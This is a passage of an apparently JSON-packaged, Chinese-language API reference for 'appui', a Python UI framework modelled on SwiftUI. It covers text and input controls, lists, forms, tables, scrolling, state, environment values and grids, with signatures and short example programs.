),\n appui.Picker(\n \"Theme\",\n selection=state.theme,\n options=[\"System\", \"Light\", \"Dark\"],\n on_change=set_theme,\n ).picker_style(\"segmented\"),\n ]),\n appui.Section(\"动作\", [\n appui.Button(\"Reset\", action=reset_controls)\n .button_style(\"bordered\"),\n ]),\n ]).navigation_title(\"Controls\")\n )\n\n\nappui.run(body, state=state) 文本和按钮 API 签名 分类 `Text` `Text(content: str = '')` `text` `AttributedText` `AttributedText(spans: Optional[Sequence[Dict[str, Any]]] = None)` `text` `Button` `Button(title: Optional[Union[str, View]] = None, action: Optional[Callable] = None, role: Optional[str] = None, content: Optional[ViewChild] = None, system_image: Optional[str] = None, image: Optional[str] = None, systemImage: Optional[str] = None)` `control` `CloseButton` `CloseButton(title: str = '', system_image: str = 'xmark', systemImage: Optional[str] = None)` `control` import appui\n\n\ndef close_page():\n appui.dismiss()\n\n\ndef body():\n return appui.NavigationStack(\n appui.VStack([\n appui.Text(\"Plain Text\").font(\"headline\"),\n appui.AttributedText(spans=[\n {\"text\": \"Rich \", \"font_size\": 18},\n {\"text\": \"Text\", \"font_size\": 18, \"weight\": \"bold\", \"color\": \"systemBlue\"},\n {\"text\": \" link\", \"italic\": True, \"link\": \"https://www.python.org\"},\n ]),\n appui.Button(\n appui.Label(\"Close\", system_image=\"xmark.circle\"),\n action=close_page,\n ).button_style(\"bordered\"),\n ], alignment=\"leading\", spacing=12)\n .padding()\n .navigation_title(\"Text\")\n )\n\n\nappui.run(body) 输入控件 API 签名 分类 `TextField` `TextField(placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, on_submit: Optional[Callable] = None, keyboard_type: Optional[str] = None, autocapitalization: Optional[str] = None, autocorrection_disabled: bool = False, submit_label: Optional[str] = None, onChange: Optional[Callable] = None, onSubmit: Optional[Callable] = None, keyboardType: Optional[str] = None, autoCapitalization: Optional[str] = None, autocorrectionDisabled: Optional[bool] = None, submitLabel: Optional[str] = None, value: Optional[str] = None, **kwargs: Any)` `control` `SecureField` `SecureField(placeholder: str = '', text: str = '', on_change: Optional[Callable] = None, on_submit: Optional[Callable] = None, onChange: Optional[Callable] = None, onSubmit: Optional[Callable] = None)` `control` `TextEditor` `TextEditor(text: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)` `control` `TextFieldLink` `TextFieldLink(title: str = '', prompt: str = '', on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None)` `control` `SearchField` `SearchField(text: str = '', placeholder: str = 'Search', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, on_submit: Optional[Callable] = None, onSubmit: Optional[Callable] = None)` `control` keyboard_type 常用值:\"default\"、\"emailAddress\"、\"numberPad\"、\"decimalPad\"、\"url\"、\"phonePad\"。submit_label 常用值:\"done\"、\"go\"、\"send\"、\"search\"、\"next\"、\"continue\"、\"return\"。 选择和调节控件 API 签名 分类 `Toggle` `Toggle(label: str = '', is_on: bool = False, on_change: Optional[Callable] = None, isOn: Optional[bool] = None, onChange: Optional[Callable] = None, value: Optional[bool] = None)` `control` `Slider` `Slider(value: float = 0.0, minimum: float = 0.0, maximum: float = 1.0, step: Optional[float] = None, label: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, min_value: Optional[float] = None, max_value: Optional[float] = None, minValue: Optional[float] = None, maxValue: Optional[float] = None)` `control` `Stepper` `Stepper(label: str = '', value: int = 0, minimum: int = 0, maximum: int = 100, step: int = 1, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)` `control` `Picker` `Picker(label: str = '', selection: Optional[str] = None, options: Optional[Sequence[str]] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)` `control` `SegmentedControl` `SegmentedControl(options: Optional[Sequence[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)` `control` `InlinePickerStyle` `InlinePickerStyle(options: Optional[Sequence[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)` `control` `WheelPicker` `WheelPicker(options: Optional[Sequence[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)` `control` `DatePicker` `DatePicker(label: str = '', selection: Optional[str] = None, components: str = 'date', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)` `control` `MultiDatePicker` `MultiDatePicker(title: str = '', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)` `control` `ColorPicker` `ColorPicker(label: str = '', selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)` `control` 系统控件 API 签名 分类 `Menu` `Menu(title: str = '', content: Optional[Sequence[View]] = None, children: Optional[Sequence[View]] = None, system_image: Optional[str] = None, image: Optional[str] = None, systemImage: Optional[str] = None)` `control` `PasteButton` `PasteButton(on_paste: Optional[Callable] = None, onPaste: Optional[Callable] = None)` `control` `RenameButton` `RenameButton(action: Optional[Callable] = None)` `control` `EditButton` `EditButton()` `control` `SignInWithAppleButton` `SignInWithAppleButton(type: str = 'signIn', on_complete: Optional[Callable] = None, onComplete: Optional[Callable] = None)` `control` 按钮与菜单的图标 Button 和 Menu 都支持直接传 system_image(SF Symbol 名)来显示图标,无需再包一层 content=appui.Label(...): 同时给 title 和 system_image → 图标 + 文字;只给 system_image → 纯图标。 Menu 用 system_image 可以做工具栏右上角的「ellipsis.circle 溢出菜单」。 仍可用 content= 传任意视图作为完全自定义的标签;content 优先级高于 system_image。 import appui\n\n\ndef noop():\n pass\n\n\ndef body():\n return appui.NavigationStack(\n appui.VStack([\n appui.Button(\"收藏\", action=noop, system_image=\"bookmark\"),\n appui.Button(action=noop, system_image=\"arrow.clockwise\"),\n ], alignment=\"leading\", spacing=12)\n .padding()\n .navigation_title(\"Icons\")\n .toolbar([\n appui.ToolbarItem(\n placement=\"navigation_bar_trailing\",\n content=appui.Menu(system_image=\"ellipsis.circle\", content=[\n appui.Button(\"全部\", action=noop, system_image=\"checkmark\"),\n appui.Button(\"收藏\", action=noop),\n ]),\n ),\n ])\n )\n\n\nappui.run(body) 与相邻 API 的区别 API 不同点 `TextField` vs `TextEditor` `TextField` 是单行输入,支持提交键;`TextEditor` 是多行编辑区域,通常需要明确 `.frame(height=...)`。 `SearchField` vs `.searchable(...)` `SearchField` 是普通视图;`.searchable(...)` 会接入导航栏搜索体验,列表页更自然。 `Picker` vs `SegmentedControl` `Picker` 可切换不同样式;`SegmentedControl` 是固定分段控件,适合少量模式。 `Slider` vs `Stepper` `Slider` 适合连续数值;`Stepper` 适合精确整数或固定步进。 `Button` vs `Menu` `Button` 立即执行单个动作;`Menu` 先展开命令列表。 `Button` vs `CloseButton` `CloseButton` 带关闭语义,系统可以识别并避免重复注入关闭按钮。 常见错误 错误 正确做法 在示例里写内联匿名回调,预览里很难读也不利于复用。 定义命名函数,例如 `def save(): ...`,再传 `action=save`。 `TextField` 只传 `text=state.name`,没有 `on_change`。 在 `on_change(value)` 中写回 `state.name = value`。 `Slider` 没有设置 `minimum` / `maximum`,默认范围和业务不一致。 显式写清范围和 `step`。 `TextEditor` 不设高度。 用 `.frame(height=...)` 给多行编辑区域稳定尺寸。 相关文档 文档 用途 [状态 API](appui-ref-state) `State.batch_update`、`ReactiveState`、`bind`、`computed`。 [交互指南](appui-guide-interaction) 手势、焦点、键盘、上下文菜单。 [示例:设置表单](appui-cookbook-settings) 完整 Form、Section、输入控件和 toolbar 示例。" + }, + { + "id": "appui-ref-data", + "title": "数据展示 API", + "subtitle": "List、ForEach、Form、Section、Table、ProgressView 等数据展示视图。", + "section": "appui / API 参考", + "url": "pages/appui-ref-data/", + "text": "数据展示 API List、ForEach、Form、Section、Table、ProgressView 等数据展示视图。 appui API 参考 appui api data List ForEach Form Section Table ProgressView 数据展示 数据展示 API 本页覆盖列表、表单、分组、表格、空状态、进度、链接、角标、时间刷新和富文本。数据展示页面要优先使用系统结构:列表用 List + Section + ForEach,设置页用 Form + Section,不要用普通 VStack 手写整套表单外观。 什么时候用 目标 首选 API 说明 行列表 `List` + `ForEach` 可滚动、可分组、可加滑动操作。 设置页 `Form` + `Section` 原生设置样式,适合输入控件和开关。 标题分组 `Section` 用 header / footer 表达分组标题和说明。 折叠内容 `DisclosureGroup` 可展开详情、更多设置。 标签值行 `LabeledContent` 版本号、状态、统计值。 多列表格 `Table` iPad 或大屏数据表;iPhone 会按系统能力降级。 空状态 `ContentUnavailableView` 无数据、无搜索结果、加载失败。 进度 `ProgressView` / `Gauge` 加载状态、百分比、容量。 链接和分享 `Link` / `ShareLink` 打开系统浏览器或分享面板。 周期刷新文字 `TimelineView` 时钟、倒计时等低频时间展示。 富文本 `AttributedText` 同一段文本内混合颜色、字重、斜体和链接。 最小正确示例 import appui\n\nstate = appui.State(\n items=[\n {\"id\": \"a\", \"title\": \"Alpha\", \"done\": False},\n {\"id\": \"b\", \"title\": \"Beta\", \"done\": True},\n ],\n selected=\"\",\n)\n\n\ndef item_key(item):\n return item[\"id\"]\n\n\ndef select_item(item):\n state.selected = item[\"title\"]\n\n\ndef row_view(item):\n def choose():\n select_item(item)\n\n icon = \"checkmark.circle.fill\" if item[\"done\"] else \"circle\"\n return appui.Button(\n action=choose,\n content=appui.Label(item[\"title\"], system_image=icon),\n )\n\n\ndef body():\n return appui.NavigationStack(\n appui.List([\n appui.Section(\"Items\", [\n appui.ForEach(state.items, row_builder=row_view, key=item_key)\n ]),\n appui.Section(\"Selection\", [\n appui.LabeledContent(\"Selected\", value=state.selected or \"None\"),\n ]),\n ]).navigation_title(\"Data\")\n )\n\n\nappui.run(body, state=state) 列表和表单 API 签名 分类 `List` `List(content: Optional[Sequence[View]] = None)` `collection` `ForEach` `ForEach(data: Any, row_builder: Optional[Callable] = None, key: Optional[Callable] = None, rowBuilder: Optional[Callable] = None, content: Optional[Callable] = None)` `collection` `Form` `Form(content: Optional[Sequence[View]] = None)` `collection` `Section` `Section(content: Optional[ViewChild] = None, *, header: Optional[Union[str, View]] = None, footer: Optional[Union[str, View]] = None, children: Optional[ViewChild] = None, key: Optional[str] = None)` `collection` import appui\n\nstate = appui.State(notify=True, email=\"ada@example.com\")\n\n\ndef set_notify(value):\n state.notify = value\n\n\ndef set_email(value):\n state.email = value\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"Account\", [\n appui.TextField(\n \"Email\",\n text=state.email,\n on_change=set_email,\n keyboard_type=\"emailAddress\",\n ),\n appui.Toggle(\"Notifications\", is_on=state.notify, on_change=set_notify),\n ], footer=\"Used for account notifications.\"),\n ]).navigation_title(\"Form\")\n )\n\n\nappui.run(body, state=state) 分组和详情 API 签名 分类 `GroupBox` `GroupBox(label: Optional[str] = None, content: Optional[ViewChild] = None, children: Optional[Sequence[View]] = None)` `collection` `DisclosureGroup` `DisclosureGroup(label: str = '', is_expanded: Optional[bool] = None, content: Optional[ViewChild] = None, isExpanded: Optional[bool] = None, children: Optional[ViewChild] = None)` `collection` `LabeledContent` `LabeledContent(label: str = '', value: Optional[str] = None, content: Optional[View] = None)` `collection` `ControlGroup` `ControlGroup(label: str = '', content: Optional[Sequence[View]] = None, children: Optional[Sequence[View]] = None)` `control` import appui\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"Summary\", [\n appui.LabeledContent(\"Version\", value=\"1.0\"),\n appui.LabeledContent(\"Status\", content=appui.Badge(text=\"New\")),\n ]),\n appui.Section(\"Details\", [\n appui.DisclosureGroup(\n \"Advanced\",\n is_expanded=False,\n content=[\n appui.GroupBox(\n \"Cache\",\n content=[appui.Text(\"Local cache is enabled.\")],\n )\n ],\n )\n ]),\n ]).navigation_title(\"Groups\")\n )\n\n\nappui.run(body) 表格 Table(data=None, columns=None, on_select=None, onSelect=None) 参数 类型 说明 `data` `list[dict]` 表格行。 `columns` `list[dict]` 每列字典至少包含 `title` 和 `key`。 `on_select` `Callable` / `None` 选中行回调,接收行字典。 import appui\n\nstate = appui.State(selected=\"\")\nrows = [\n {\"id\": 1, \"name\": \"Ada\", \"role\": \"Admin\"},\n {\"id\": 2, \"name\": \"Lin\", \"role\": \"Editor\"},\n]\n\n\ndef select_row(row):\n state.selected = row[\"name\"]\n\n\ndef body():\n return appui.NavigationStack(\n appui.VStack([\n appui.Table(\n data=rows,\n columns=[\n {\"title\": \"ID\", \"key\": \"id\"},\n {\"title\": \"Name\", \"key\": \"name\"},\n {\"title\": \"Role\", \"key\": \"role\"},\n ],\n on_select=select_row,\n ),\n appui.Text(state.selected or \"No selection\")\n .font(\"footnote\")\n .foreground_color(\"secondaryLabel\"),\n ], spacing=12)\n .padding()\n .navigation_title(\"Table\")\n )\n\n\nappui.run(body, state=state) 空状态、进度、链接和分享 API 签名 分类 `ContentUnavailableView` `ContentUnavailableView(title: str = '', system_image: Optional[str] = None, description: Optional[str] = None, systemImage: Optional[str] = None)` `presentation` `ProgressView` `ProgressView(label: Optional[str] = None, value: Optional[float] = None, total: float = 1.0)` `feedback` `Link` `Link(title: str = '', url: str = '')` `control` `Gauge` `Gauge(value: float = 0.0, min_value: float = 0.0, max_value: float = 1.0, label: str = '', minValue: Optional[float] = None, maxValue: Optional[float] = None)` `feedback` `ShareLink` `ShareLink(item: str = '', subject: Optional[str] = None, message: Optional[str] = None)` `control` `Badge` `Badge(count: Optional[int] = None, text: Optional[str] = None)` `presentation` import appui\n\n\ndef body():\n return appui.NavigationStack(\n appui.List([\n appui.Section(\"Status\", [\n appui.ProgressView(label=\"Loading\"),\n appui.ProgressView(label=\"Progress\", value=0.4, total=1.0)\n .progress_view_style(\"linear\"),\n appui.Gauge(value=0.72, min_value=0.0, max_value=1.0, label=\"Storage\")\n .gauge_style(\"accessory_circular\"),\n ]),\n appui.Section(\"Links\", [\n appui.Link(title=\"Apple\", url=\"https://www.apple.com\"),\n appui.ShareLink(item=\"Shared from AppUI\", subject=\"AppUI\", message=\"Hello\"),\n ]),\n appui.Section(\"Empty\", [\n appui.ContentUnavailableView(\n title=\"No Results\",\n system_image=\"magnifyingglass\",\n description=\"Try another keyword.\",\n ),\n ]),\n ]).navigation_title(\"Status\")\n )\n\n\nappui.run(body) TimelineView TimelineView(interval=1.0, content=None) 会按间隔刷新它的子视图,适合时钟、轻量倒计时等低频时间展示。content 是一个 View,不是视图列表。 import appui\nimport time\n\n\ndef clock_text():\n return appui.Text(time.strftime(\"%H:%M:%S\")).font(\"title\")\n\n\ndef body():\n return appui.NavigationStack(\n appui.TimelineView(interval=1.0, content=clock_text())\n .padding()\n .navigation_title(\"Clock\")\n )\n\n\nappui.run(body) AttributedText AttributedText(spans=None) 用 span 字典描述富文本。 键 类型 说明 `text` `str` 显示文字。 `font_size` `float` 字号。 `weight` `str` 字重,例如 `\"bold\"`、`\"semibold\"`、`\"regular\"`。 `bold` `bool` 是否加粗。 `italic` `bool` 是否斜体。 `color` `str` 颜色,例如 `\"systemBlue\"`、`\"#FF0000\"`。 `link` `str` 链接 URL。 `underline` `bool` 下划线。 `strikethrough` `bool` 删除线。 import appui\n\n\ndef body():\n return appui.NavigationStack(\n appui.AttributedText(spans=[\n {\"text\": \"AppUI \", \"font_size\": 20, \"weight\": \"bold\"},\n {\"text\": \"rich text\", \"font_size\": 20, \"color\": \"systemBlue\"},\n {\"text\": \" with link\", \"link\": \"https://www.python.org\", \"underline\": True},\n ])\n .padding()\n .navigation_title(\"Rich Text\")\n )\n\n\nappui.run(body) 与相邻 API 的区别 API 不同点 `List` vs `Form` `List` 展示数据行;`Form` 展示设置和输入。 `Section` vs `GroupBox` `Section` 是列表/表单分组;`GroupBox` 是内容盒。 `ProgressView` vs `Gauge` `ProgressView` 强调加载或进度;`Gauge` 强调数值状态和容量。 `Badge` vs `.badge(...)` `Badge` 是一个独立视图;`.badge(...)` 给支持角标的位置添加角标。 `Link` vs `WebView` `Link` 打开外部浏览器;`WebView` 在 AppUI 内显示网页。 `TimelineView` vs `Timer` `TimelineView` 刷新视图显示;`Timer` 运行状态更新逻辑。 常见错误 错误 正确做法 `ForEach` 没有稳定键,列表刷新后行状态错位。 传 `key` 函数,或保证数据里有稳定 `id` / `key`。 在 `Section` 里再嵌套完整 `List`。 外层用一个 `List`,里面放多个 `Section`。 把设置页写成 `VStack` + `Text` + `Toggle`。 用 `Form([Section(...)])`。 `TimelineView` 的 `content` 传列表。 传一个 `View`,多视图时包进 `VStack`。 `ProgressView(label=appui.Text(...))`。 `label` 传字符串;自定义说明放在相邻 `Text`。 相关文档 文档 用途 [布局 API](appui-ref-layout) VStack、ScrollView、LazyVGrid、Form、List 的布局边界。 [呈现 API](appui-ref-presentation) refreshable、swipe actions、context menu。 [状态 API](appui-ref-state) 让列表和表单响应数据变化。" + }, + { + "id": "appui-ref-layout-scroll", + "title": "滚动 API", + "subtitle": "ScrollView、ScrollViewReader、滚动方向和定位锚点。", + "section": "appui / API 参考", + "url": "pages/appui-ref-layout-scroll/", + "text": "滚动 API ScrollView、ScrollViewReader、滚动方向和定位锚点。 appui API 参考 appui api layout ScrollView ScrollViewReader scroll_to anchor shows_indicators 滚动 滚动 API ScrollView / ScrollViewReader。 ScrollView 签名 ScrollView(content=None, axes='vertical', shows_indicators=True, showsIndicators=None) 参数 参数 类型 说明 `content` `list[View] \\| View \\| None` 可滚动区域;支持 `with ScrollView():` 收集子视图。 `axes` `str` `vertical`、`horizontal` 或 `both`。 `shows_indicators` `bool` 是否显示滚动指示条。 示例 import appui\n\ndef body():\n with appui.ScrollView(axes=\"vertical\") as sc:\n for i in range(25):\n appui.Text(f\"段落 {i}\").padding(horizontal=4)\n return sc.padding()\n\nappui.run(body, presentation=\"sheet\") 参阅 :ScrollViewReader、LazyVStack ScrollViewReader 签名 ScrollViewReader(content=None, axes='vertical', shows_indicators=True,\n scroll_to=None, anchor='top', showsIndicators=None, scrollTo=None,\n children=None) 参数 参数 类型 说明 `content` / `children` `list[View] \\| None` 滚动内容。 `axes` `str` 同 [ScrollView](#scrollview)。 `shows_indicators` `bool` 是否显示指示器。 `scroll_to` / `scrollTo` `任意 \\| None` 初始或受控滚动目标,需与子视图 `.id(...)` 对应。 `anchor` `str` 滚动对齐锚点,如 `top`。 示例 import appui\n\ndef body():\n return appui.ScrollViewReader(\n content=[\n appui.Text(\"顶部\").id(\"top\"),\n appui.Spacer(min_length=400),\n appui.Text(\"底部锚点\").id(\"bottom\"),\n ],\n axes=\"vertical\",\n scroll_to=\"bottom\",\n anchor=\"top\",\n ).padding()\n\nappui.run(body, presentation=\"sheet\") 参阅 :ScrollView、Spacer" + }, + { + "id": "appui-ref-state", + "title": "状态 API", + "subtitle": "State、ReactiveState、NavigationPath、Timer 和 Ref。", + "section": "appui / API 参考", + "url": "pages/appui-ref-state/", + "text": "状态 API State、ReactiveState、NavigationPath、Timer 和 Ref。 appui API 参考 appui api state State ReactiveState NavigationPath Timer Ref 状态 API 本页查 State、PersistentState、ReactiveState、NavigationPath、Timer、Ref、Prop、ObservableList、ObservableDict 的签名和边界。状态写法的完整解释见 状态管理。 什么时候用 目标 API 普通表单、按钮、列表筛选 `State` 明确指定持久化状态 `PersistentState` 高频字段快路径 `ReactiveState` 程序化导航栈 `NavigationPath` 定时执行回调 `Timer` 保存不触发 UI 刷新的句柄 `Ref` 自定义实时属性 `Prop` 观察 list / dict 局部变更 `ObservableList` / `ObservableDict` State 示例 import appui\n\nstate = appui.State(count=0, saved=False)\nsave_count = appui.Ref(0)\n\n\ndef increment():\n state.batch_update(count=state.count + 1, saved=False)\n\n\ndef save():\n save_count.current += 1\n state.saved = True\n\n\ndef body():\n status = \"Saved\" if state.saved else \"Editing\"\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"State\", [\n appui.LabeledContent(\"Count\", value=str(state.count)),\n appui.LabeledContent(\"Status\", value=status),\n appui.LabeledContent(\"Save count\", value=str(save_count.current)),\n appui.Button(\"+1\", action=increment),\n appui.Button(\"Save\", action=save).button_style(\"bordered_prominent\"),\n ])\n ]).navigation_title(\"State\")\n )\n\n\nappui.run(body, state=state) Timer 示例 import appui\n\nstate = appui.State(seconds=0, running=False)\n\n\ndef tick():\n if state.running:\n state.seconds += 1\n\n\ntimer = appui.Timer(interval=1.0, repeats=True, action=tick)\n\n\ndef start():\n state.running = True\n timer.start()\n\n\ndef stop():\n state.running = False\n timer.stop()\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"Timer\", [\n appui.LabeledContent(\"Seconds\", value=str(state.seconds)),\n appui.HStack([\n appui.Button(\"Start\", action=start).button_style(\"bordered_prominent\"),\n appui.Button(\"Stop\", action=stop).button_style(\"bordered\"),\n ], spacing=12),\n ])\n ]).navigation_title(\"Timer\")\n )\n\n\nappui.run(body, state=state) 状态签名 API 签名 分类 `State` `State(persist: Optional[Union[bool, Sequence[str]]] = None, persist_key: Optional[str] = None, transient: Optional[Sequence[str]] = None, debounce: float = 0.3, **kwargs: Any)` `公开类型` `PersistentState` `PersistentState(persist_key: Optional[str] = None, transient: Optional[Sequence[str]] = None, debounce: float = 0.3, **kwargs: Any)` `公开类型` `ReactiveState` `ReactiveState(**kwargs: Any)` `公开类型` `NavigationPath` `NavigationPath()` `公开类型` `Timer` `Timer(interval: float = 1.0, repeats: bool = True, action: Optional[Callable[[], None]] = None)` `公开类型` `Ref` `Ref(initial: Any = None)` `公开类型` `Prop` `Prop(prop_id: int, val_type: str = 'auto', default: Any = None, attr: Optional[str] = None)` `公开类型` `ObservableList` `ObservableList(data: Iterable[Any], notify: Callable[[], None])` `公开类型` `ObservableDict` `ObservableDict(data: Mapping[Any, Any], notify: Callable[[], None])` `公开类型` 主要方法 API 方法 签名 所属类型 `State` `batch_update` `batch_update(**kwargs: Any) -> None` `State` `State` `to_dict` `to_dict() -> Dict[str, Any]` `State` `State` `get` `get(key: str, default: Any = None) -> Any` `State` `State` `flush_persisted` `flush_persisted() -> bool` `State` `State` `clear_persisted` `clear_persisted() -> bool` `State` `ReactiveState` `batch_update` `batch_update(**kwargs: Any) -> None` `ReactiveState` `ReactiveState` `to_dict` `to_dict() -> Dict[str, Any]` `ReactiveState` `ReactiveState` `get` `get(key: str, default: Any = None) -> Any` `ReactiveState` `ReactiveState` `bind` `bind(field_name: str, *, parse: Optional[Callable[[Any], Any]] = None, format: Optional[Callable[[Any], Any]] = None, validate: Optional[Callable[[Any], bool]] = None) -> Dict[str, Any]` `ReactiveState` `ReactiveState` `bind_handles` `bind_handles(**bindings: int) -> None` `ReactiveState` `NavigationPath` `append` `append(view_or_value: Union[\"View\", str, int, Dict[str, Any]]) -> None` `NavigationPath` `NavigationPath` `pop` `pop(count: int = 1) -> None` `NavigationPath` `NavigationPath` `pop_to_root` `pop_to_root() -> None` `NavigationPath` `NavigationPath` `replace` `replace(items: Sequence[Any]) -> None` `NavigationPath` `Timer` `start` `start() -> None` `Timer` `Timer` `stop` `stop() -> None` `Timer` 相邻 API 区别 API 用法边界 `State` vs `ReactiveState` 普通页面用 `State`;高频字段才用 `ReactiveState`。 `State(persist=...)` vs `PersistentState` 简单保存可用 `State(persist=True)`;需要固定持久化 key 或更清晰语义时用 `PersistentState`。 `Ref` vs `State` 需要显示到 UI 的值用 `State`;句柄、缓存、连接对象用 `Ref`。 `ObservableList` vs 重新赋值 频繁局部增删改可依赖可观察容器;简单场景重新赋值更直观。 `Timer` vs `auto_refresh` 正式页面用 `Timer`;临时 demo 可用 `auto_refresh`。 `NavigationPath` vs `NavigationLink` 固定行详情用 `NavigationLink`;程序化跳转用 `NavigationPath`。 常见错误 错误 后果 修正 把 UI 要显示的值放进 `Ref` 改值后界面不刷新 放进 `State`。 在 `body()` 里创建 `Timer` 每次重建都可能新建计时器 模块级创建。 先创建没有回调的 `Timer`,再事后赋 action 容易漏掉回调 初始化时传 `action=tick`。 连续写多个字段 产生多次重建和中间状态 使用 `batch_update`。 列表按过滤后的下标修改 搜索后操作错行 数据项保留稳定 id。 相关文档 文档 用途 [状态管理](appui-guide-state) 状态模式、computed/effect、Timer。 [导航与页面结构](appui-guide-navigation) `NavigationPath` 和 `NavigationLink`。 [性能与实时界面](appui-guide-performance) 什么时候使用 `ReactiveState`。" + }, + { + "id": "appui-ref-environment", + "title": "环境值 API", + "subtitle": "environment_value、color_scheme、locale、layout_direction 和动态字体。", + "section": "appui / API 参考", + "url": "pages/appui-ref-environment/", + "text": "环境值 API environment_value、color_scheme、locale、layout_direction 和动态字体。 appui API 参考 appui api layout environment_value preferred_color_scheme color_scheme locale layout_direction dynamic_type_size 环境值 环境值 API environment_value(key, value) 用来设置少量通用环境值。它是一个通用入口;如果已经有更直接的专用修饰符,优先用专用修饰符。 签名 environment_value(key, value) 什么时候用 你想批量给一段视图树施加语言、方向、动态字体或文本环境。 你要覆盖 locale、layout_direction、dynamic_type_size 这类没有独立高频包装的环境项。 你已经知道目标 key,不想拆成多个专用修饰符。 当前支持的 key key 值 作用 更直接的写法 `color_scheme` `light` / `dark` 强制明暗模式。 `preferred_color_scheme(...)` `layout_direction` `left_to_right` / `right_to_left` 控制布局方向。 无 `locale` 语言地区标识,如 `zh_CN`、`en_US` 影响日期、数字、本地化格式。 无 `line_spacing` 数字,如 `4`、`6` 设置行距。 无 `multiline_text_alignment` `leading` / `center` / `trailing` 多行文本对齐。 `multiline_text_alignment(...)` `allow_tight_spacing` `True` / `False` 是否允许文字收紧间距。 无 `truncation_mode` `tail` / `head` / `middle` 文本截断位置。 `truncation_mode(...)` `dynamic_type_size` `xSmall`、`small`、`medium`、`large`、`xLarge`、`xxLarge`、`xxxLarge`、`accessibility1` 到 `accessibility5` 动态字体等级。 无 `redaction` `placeholder` / `none` 占位式骨架屏或取消 redaction。 无 `autocorrection` `True` / `False` 控制自动纠错;对输入控件更有意义。 对 `TextField` / `SecureField` 优先用构造参数 `text_case` `uppercase` / `lowercase` / `none` 统一大小写风格。 无 推荐写法 import appui\n\n\ndef body():\n return appui.NavigationStack(\n appui.VStack([\n appui.Text(\"环境值示例\"),\n appui.Text(\"这段文字会使用更大的动态字体和更宽的行距。\")\n .line_limit(2),\n ], spacing=12)\n .padding()\n .navigation_title(\"Environment\")\n .environment_value(\"locale\", \"zh_CN\")\n .environment_value(\"dynamic_type_size\", \"xLarge\")\n .environment_value(\"line_spacing\", 6)\n )\n\n\nappui.run(body) 专用修饰符优先 这些场景优先用专用 API,不要为了“统一写法”强行全部塞进 environment_value: 明暗模式:preferred_color_scheme(\"dark\") 多行文本对齐:multiline_text_alignment(\"leading\") 截断:truncation_mode(\"middle\") 输入框自动纠错:TextField(..., autocorrection_disabled=...) 注意事项 environment_value 更适合“给一整段视图树施加环境”,不是每个修饰符都拿它代替。 dynamic_type_size 依赖较新的系统版本;过低系统可能不会生效。 autocorrection 的实际体验最稳的方式仍然是直接在输入控件构造参数里声明。 不在当前支持表里的 key 不保证生效。" + }, + { + "id": "appui-ref-layout-grids", + "title": "网格 API", + "subtitle": "LazyVGrid、LazyHGrid、Grid、GridRow 和轨道辅助函数。", + "section": "appui / API 参考", + "url": "pages/appui-ref-layout-grids/", + "text": "网格 API LazyVGrid、LazyHGrid、Grid、GridRow 和轨道辅助函数。 appui API 参考 appui api layout LazyVGrid LazyHGrid Grid GridRow flexible fixed adaptive grid_item 网格 网格 API LazyVGrid / LazyHGrid / Grid / GridRow 与轨道辅助函数 flexible / fixed / adaptive / grid_item。 LazyVGrid 签名 LazyVGrid(columns=None, content=None, spacing=None, children=None) 参数 参数 类型 说明 `columns` `list[dict] \\| None` 列描述列表;缺省为 `[{'type': 'flexible'}]`。 `content` / `children` `list[View] \\| None` 网格单元视图。 `spacing` `数值 \\| None` 单元间距。 示例 import appui\n\ncols = [\n appui.flexible(minimum=40),\n appui.flexible(minimum=40),\n appui.fixed(50),\n]\n\ndef body():\n return appui.LazyVGrid(\n columns=cols,\n spacing=8,\n content=[appui.Text(str(i)).frame(max_width=appui.infinity) for i in range(12)],\n ).padding()\n\nappui.run(body, presentation=\"sheet\") 参阅 :flexible、fixed、adaptive、LazyHGrid LazyHGrid 签名 LazyHGrid(rows=None, content=None, spacing=None, children=None) 参数 参数 类型 说明 `rows` `list[dict] \\| None` 行描述;缺省为 `[{'type': 'flexible'}]`。 `content` / `children` `list[View] \\| None` 子视图。 `spacing` `数值 \\| None` 间距。 示例 import appui\n\nrows = [appui.flexible(), appui.fixed(36)]\n\ndef body():\n return appui.LazyHGrid(\n rows=rows,\n spacing=6,\n content=[appui.Text(f\"({i})\") for i in range(8)],\n ).padding()\n\nappui.run(body, presentation=\"sheet\") 参阅 :LazyVGrid、Grid Grid 签名 Grid(content=None, alignment='center', horizontal_spacing=None, vertical_spacing=None,\n horizontalSpacing=None, verticalSpacing=None) 参数 参数 类型 说明 `content` `list[View] \\| None` 通常由若干 [GridRow](#gridrow) 组成。 `alignment` `str` 单元格对齐。 `horizontal_spacing` / `vertical_spacing` `数值 \\| None` 行/列间距。 示例 import appui\n\ndef body():\n return appui.Grid(\n content=[\n appui.GridRow([appui.Text(\"A1\"), appui.Text(\"B1\")]),\n appui.GridRow([appui.Text(\"A2\"), appui.Text(\"B2\")]),\n ],\n horizontal_spacing=12,\n vertical_spacing=8,\n ).padding()\n\nappui.run(body, presentation=\"sheet\") 参阅 :GridRow、LazyVGrid GridRow 签名 GridRow(content=None, alignment=None) 参数 参数 类型 说明 `content` `list[View] \\| None` 一行中的单元视图。 `alignment` `str \\| None` 行内对齐;`None` 表示默认。 示例 见 Grid。 参阅 :Grid、HStack flexible 签名 flexible(minimum=10, maximum=None) 参数 参数 类型 说明 `minimum` `数值` 轨道最小尺寸。 `maximum` `数值 \\| None` 最大尺寸;`None` 表示不限制。 示例 import appui\n\nrow = [appui.flexible(minimum=60), appui.fixed(44)]\nprint(row[0][\"type\"], row[1][\"type\"]) 参阅 